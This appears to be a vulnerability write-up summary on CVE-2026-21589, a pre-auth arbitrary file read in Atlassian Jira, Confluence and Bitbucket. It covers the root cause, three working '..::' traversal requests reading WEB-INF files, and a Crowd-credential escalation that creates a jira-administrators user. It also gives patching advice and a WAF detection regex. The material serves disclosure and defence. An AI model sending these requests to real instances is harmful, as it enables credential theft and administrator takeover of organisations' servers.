You Won’t Hear About These, Even In Myths (Atlassian Jira, Confluence (and more) Pre-Auth Arbitrary File Read CVE-2026-21589)

What it is

CVE-2026-21589 is a pre-auth arbitrary file read in Atlassian Jira, Confluence and Bitbucket, covering all previous versions of each. Atlassian published it as an out-of-band critical advisory on October 5th, labelled "Arbitrary File Access". watchTowr reports just under 700,000 Confluence instances online alone. The flaw sits in the shared library atlassian-plugins-webresource: 6.0.7 is vulnerable, and 6.0.8 is the version they diffed against.

How it works

Router.unescapeSlashes in Router.java replaces :: with /. The /resources/ and /sources/ routes call it on the resource name. The deprecated getResourceRelativeToWebResource then builds a resource with a relative path through createResourceWithRelativePath. Its splitLastPathPart check does not catch ..::.

A plugin resource declared with a trailing-slash location lets the attacker supply the filename. In Jira that is jira.webresources:color-picker-popup, which maps to /includes/jquery/plugins/colorpicker/images/. Traversal stays inside the Tomcat context but reaches WEB-INF, which is normally protected.

Verified requests (the page notes Bitbucket blocks web.xml, so it reads urlrewrite.xml):

GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1
GET /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..::..::WEB-INF::web.xml HTTP/1.1
GET /s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..::WEB-INF::urlrewrite.xml HTTP/1.1

Preconditions / Affected

Impact depends on configuration, as the advisory says ("in some configurations, there may be sensitive files present"). watchTowr found nothing sensitive in a default filesystem. Their escalation path needs Crowd integration, where WEB-INF/classes/crowd.properties holds application.name, a plaintext application.password and the Crowd URL.

With those credentials, Basic auth to Crowd's REST API can list users, create a user and add it to jira-administrators:

GET /crowd/rest/usermanagement/1/search?entity-type=user&max-results=1000
POST /crowd/rest/usermanagement/1/user
POST /crowd/rest/usermanagement/1/group/user/direct?groupname=jira-administrators

What to do

Upgrade to the patched library and product releases. The page does not name fixed product versions, so take those from the Atlassian advisory.

The advisory's suggested WAF rule, which matches the :: traversal variants, is:

(?is).*(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2})(?:\.|%(?:25)*2e){2}(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2}|;|%(?:25)*3b|$).*

watchTowr released a Detection Artefact Generator that checks Jira, Confluence and Bitbucket instances. The page does not give its URL, and it gives no rotation guidance for exposed Crowd credentials.

Caveats

• The Crowd step is lab-verified on Jira only. watchTowr states the routes for Confluence and Bitbucket are "more or less the same".
• A Crowd IP whitelist makes the escalation much harder. The attacker would then need to pivot through another machine or use SSRF through the Atlassian host.
• Reads cannot leave the Tomcat context.